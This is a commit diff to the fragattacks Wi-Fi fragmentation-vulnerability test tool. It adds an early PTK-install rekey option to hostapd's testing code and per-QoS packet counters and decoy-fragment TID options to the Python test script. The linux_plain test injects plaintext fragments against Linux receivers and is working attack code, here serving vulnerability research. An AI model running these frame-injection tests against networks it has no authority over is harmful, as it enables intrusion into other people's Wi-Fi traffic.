fragattacks: fix linux_plain, add rekey-early-install and pn-per-qos

This commit is contained in:
Mathy 2020-04-25 17:29:31 -04:00 committed by Mathy Vanhoef
parent a7c1b406e4
commit b62e788f1a
6 changed files with 73 additions and 22 deletions

View File

@ -2362,6 +2362,7 @@ static int hostapd_ctrl_rekey_ptk(struct hostapd_data *hapd, const char *cmd)
{
struct sta_info *sta;
u8 addr[ETH_ALEN];
int early_install = os_strstr(cmd, "early-install") != NULL;
if (hwaddr_aton(cmd, addr))
return -1;
@ -2370,8 +2371,9 @@ static int hostapd_ctrl_rekey_ptk(struct hostapd_data *hapd, const char *cmd)
if (!sta || !sta->wpa_sm)
return -1;
wpa_printf(MSG_INFO, "TESTING: Reking PTK of " MACSTR, MAC2STR(sta->addr));
return wpa_auth_rekey_ptk(sta->wpa_sm);
wpa_printf(MSG_INFO, "TESTING: Reking PTK of " MACSTR " early_install=%d",
MAC2STR(sta->addr), early_install);
return wpa_auth_rekey_ptk(sta->wpa_sm, early_install);
}

View File

@ -321,15 +321,17 @@ class PingTest(Test):
self.actions.insert(i, sep_frag)
class LinuxTest(Test):
def __init__(self, ptype):
def __init__(self, ptype, decoy_tid=None):
super().__init__([
Action(Action.Connected, Action.GetIp), # XXX we don't always want to wait on this?
# Note: to inject immediately after 4-way provide IPs using --ip and --peerip
Action(Action.Connected, Action.GetIp),
Action(Action.Connected, enc=True),
Action(Action.Connected, enc=True),
Action(Action.Connected, enc=False)
])
self.ptype = ptype
self.check_fn = None
self.decoy_tid = decoy_tid
def check(self, p):
if self.check_fn == None:
@ -345,8 +347,17 @@ class LinuxTest(Test):
# Fragment 2: make Linux update latest used crypto Packet Number. Use a dummy packet
# that can't accidently aggregate with the first fragment in a corrrect packet.
p = station.get_header()/LLC()/SNAP()/IP()/Raw(b"linux_plain decoy fragment")
p = station.get_header(prior=2)/LLC()/SNAP()/IP()/Raw(b"linux_plain decoy fragment")
p.SC = frag2.SC ^ (1 << 4)
# - In the attack against Linux, the decoy frame must have the same QoS TID.
# - On the other hand, some devices seem to only cache fragments for one sequence
# number per QoS priority. So to avoid overwriting the first fragment, add this
# option to use a different priority for it.
p.TID = 2
if self.decoy_tid != None:
p.TID = 3
self.actions[1].frame = p
# Fragment 3: can now inject last fragment as plaintext
@ -458,7 +469,7 @@ class Station():
# Don't reset PN to have consistency over rekeys and reconnects
self.reset_keys()
self.pn = 0x100
self.pn = [0x100] * 16
# Contains either the "to-DS" or "from-DS" flag.
self.FCfield = Dot11(FCfield=ds_status).FCfield
@ -572,8 +583,8 @@ class Station():
return header
def encrypt(self, frame, inc_pn=1, force_key=None):
# TODO: Option to use per-QoS transmit replay counters?
self.pn += inc_pn
idx = dot11_get_priority(frame) if self.options.pn_per_qos else 0
self.pn[idx] += inc_pn
key, keyid = (self.tk, 0) if int(frame.addr1[1], 16) & 1 == 0 else (self.gtk, self.gtk_idx)
if force_key == 0:
@ -581,9 +592,9 @@ class Station():
key = b"\x00" * len(key)
if len(key) == 16:
encrypted = encrypt_ccmp(frame, key, self.pn, keyid)
encrypted = encrypt_ccmp(frame, key, self.pn[idx], keyid)
else:
encrypted = encrypt_wep(frame, key, self.pn, keyid)
encrypted = encrypt_wep(frame, key, self.pn[idx], keyid)
return encrypted
@ -906,7 +917,11 @@ class Authenticator(Daemon):
def rekey(self, station):
log(STATUS, f"Starting PTK rekey with client {station.get_peermac()}", color="green")
wpaspy_command(self.wpaspy_ctrl, "REKEY_PTK " + station.get_peermac())
cmd = f"REKEY_PTK {station.get_peermac()}"
if self.options.rekey_early_install:
log(STATUS, "Will install PTK during rekey after sending Msg4")
cmd += " early-install"
wpaspy_command(self.wpaspy_ctrl, cmd)
def reconnect(self, station):
# Confirmed to *instantly* reconnect: Arch Linux, Windows 10 with Intel WiFi chip, iPad Pro 13.3.1
@ -1242,10 +1257,12 @@ def prepare_tests(test_name, stractions, delay=0, inc_pn=0, as_msdu=None, ptype=
test = PingTest(REQ_ICMP, actions, as_msdu=as_msdu, bcast=bcast)
elif test_name == "ping_frag_sep":
# Check if we can send frames in between fragments. The seperator uses a different QoS TID.
# The second fragment must use an incremental PN compared to the first fragment. So this
# also tests if the receivers uses a per-QoS receive replay counter.
separator = Dot11(type="Data", subtype=8, SC=(33 << 4) | 0)/Dot11QoS(TID=1)/LLC()/SNAP()
# Check if we can send frames in between fragments. The seperator by default uses a different
# QoS TID. The second fragment must use an incremental PN compared to the first fragment.
# So this also tests if the receivers uses a per-QoS receive replay counter. By overriding
# the TID you can check whether fragments are cached for multiple sequence numbers in one TID.
tid = 1 if stractions == None else int(stractions)
separator = Dot11(type="Data", subtype=8, SC=(33 << 4) | 0)/Dot11QoS(TID=tid)/LLC()/SNAP()
test = PingTest(REQ_ICMP,
[Action(Action.Connected, action=Action.GetIp),
Action(Action.Connected, enc=True),
@ -1283,7 +1300,8 @@ def prepare_tests(test_name, stractions, delay=0, inc_pn=0, as_msdu=None, ptype=
test = EapolMsduTest(REQ_ICMP, actions)
elif test_name == "linux_plain":
test = LinuxTest(REQ_ICMP)
decoy_tid = None if stractions == None else int(stractions)
test = LinuxTest(REQ_ICMP, decoy_tid)
elif test_name == "macos":
if stractions != None:
@ -1328,7 +1346,7 @@ def prepare_tests(test_name, stractions, delay=0, inc_pn=0, as_msdu=None, ptype=
# If requested, override the ptype
if ptype != None:
if not hasattr(test, "ptype"):
log(WARNING, "Cannot override request type of this test.")
log(WARNING, "Cannot override request type of the selected test.")
quit(1)
test.ptype = ptype
@ -1359,7 +1377,7 @@ def args2msdu(args):
if __name__ == "__main__":
log(WARNING, "Remember to use a modified backports and ath9k_htc firmware!\n")
log(WARNING, "Remember to use a modified backports and ath9k_htc firmware!")
parser = argparse.ArgumentParser(description="Test for fragmentation vulnerabilities.")
parser.add_argument('iface', help="Interface to use for the tests.")
@ -1378,8 +1396,10 @@ if __name__ == "__main__":
parser.add_argument('--icmp', default=False, action='store_true', help="Override default request with ICMP ping request.")
parser.add_argument('--rekey-request', default=False, action='store_true', help="Actively request PTK rekey as client.")
parser.add_argument('--rekey-plaintext', default=False, action='store_true', help="Do PTK rekey with plaintext EAPOL frames.")
parser.add_argument('--rekey-early-install', default=False, action='store_true', help="Install PTK after sending Msg3 during rekey.")
parser.add_argument('--full-reconnect', default=False, action='store_true', help="Reconnect by deauthenticating first.")
parser.add_argument('--bcast', default=False, action='store_true', help="Send pings using broadcast receiver address.")
parser.add_argument('--bcast', default=False, action='store_true', help="Send pings using broadcast receiver address (addr1).")
parser.add_argument('--pn-per-qos', default=False, action='store_true', help="Use separate Tx packet counter for each QoS TID.")
args = parser.parse_args()
ptype = args2ptype(args)
@ -1393,7 +1413,9 @@ if __name__ == "__main__":
options.peerip = args.peerip
options.rekey_request = args.rekey_request
options.rekey_plaintext = args.rekey_plaintext
options.rekey_early_install = args.rekey_early_install
options.full_reconnect = args.full_reconnect
options.pn_per_qos = args.pn_per_qos
# Parse remaining options
global_log_level -= args.debug

@ -1 +1 @@
Subproject commit 004cd93c830d9c4f12a0ffc70de267a6f77d465c
Subproject commit 95dc6b7e32b63c1e2efa50f2ba60fca1b025dca7

View File

@ -892,6 +892,9 @@ static int wpa_receive_error_report(struct wpa_authenticator *wpa_auth,
* Error report is not a request for a new key handshake, but since
* Authenticator may do it, let's change the keys now anyway.
*/
#ifdef CONFIG_TESTING_OPTIONS
sm->early_install = 0;
#endif /* CONFIG_TESTING_OPTIONS */
wpa_request_new_ptk(sm);
return 0;
}
@ -1339,6 +1342,9 @@ continue_processing:
wpa_auth_logger(wpa_auth, sm->addr, LOGGER_INFO,
"received EAPOL-Key Request for new "
"4-Way Handshake");
#ifdef CONFIG_TESTING_OPTIONS
sm->early_install = 0;
#endif /* CONFIG_TESTING_OPTIONS */
wpa_request_new_ptk(sm);
} else if (key_data_length > 0 &&
wpa_parse_kde_ies(key_data, key_data_length,
@ -3400,6 +3406,23 @@ SM_STATE(WPA_PTK, PTKINITNEGOTIATING)
WPA_KEY_INFO_ACK | WPA_KEY_INFO_INSTALL |
WPA_KEY_INFO_KEY_TYPE,
_rsc, sm->ANonce, kde, pos - kde, 0, encr);
#ifdef CONFIG_TESTING_OPTIONS
if (sm->early_install)
{
sm->early_install = 0;
enum wpa_alg alg = wpa_cipher_to_alg(sm->pairwise);
int klen = wpa_cipher_key_len(sm->pairwise);
if (wpa_auth_set_key(sm->wpa_auth, 0, alg, sm->addr, 0,
sm->PTK.tk, klen,
KEY_FLAG_PAIRWISE_RX_TX)) {
wpa_sta_disconnect(sm->wpa_auth, sm->addr,
WLAN_REASON_PREV_AUTH_NOT_VALID);
return;
}
}
#endif /* CONFIG_TESTING_OPTIONS */
done:
os_free(kde);
os_free(wpa_ie_buf);
@ -5279,9 +5302,12 @@ int wpa_auth_rekey_gtk(struct wpa_authenticator *wpa_auth)
}
int wpa_auth_rekey_ptk(struct wpa_state_machine *sm)
int wpa_auth_rekey_ptk(struct wpa_state_machine *sm, int early_install)
{
eloop_cancel_timeout(wpa_rekey_ptk, sm->wpa_auth, sm);
#ifdef CONFIG_TESTING_OPTIONS
sm->early_install = early_install;
#endif /* CONFIG_TESTING_OPTIONS */
return eloop_register_timeout(0, 0, wpa_rekey_ptk, sm->wpa_auth, sm);
}

View File

@ -499,7 +499,7 @@ int wpa_auth_resend_group_m1(struct wpa_state_machine *sm,
void (*cb)(void *ctx1, void *ctx2),
void *ctx1, void *ctx2);
int wpa_auth_rekey_gtk(struct wpa_authenticator *wpa_auth);
int wpa_auth_rekey_ptk(struct wpa_state_machine *sm);
int wpa_auth_rekey_ptk(struct wpa_state_machine *sm, int early_install);
void wpa_auth_set_ptk_rekey_timer(struct wpa_state_machine *sm);
#endif /* WPA_AUTH_H */

View File

@ -160,6 +160,7 @@ struct wpa_state_machine {
#endif /* CONFIG_DPP2 */
#ifdef CONFIG_TESTING_OPTIONS
int early_install;
void (*eapol_status_cb)(void *ctx1, void *ctx2);
void *eapol_status_cb_ctx1;
void *eapol_status_cb_ctx2;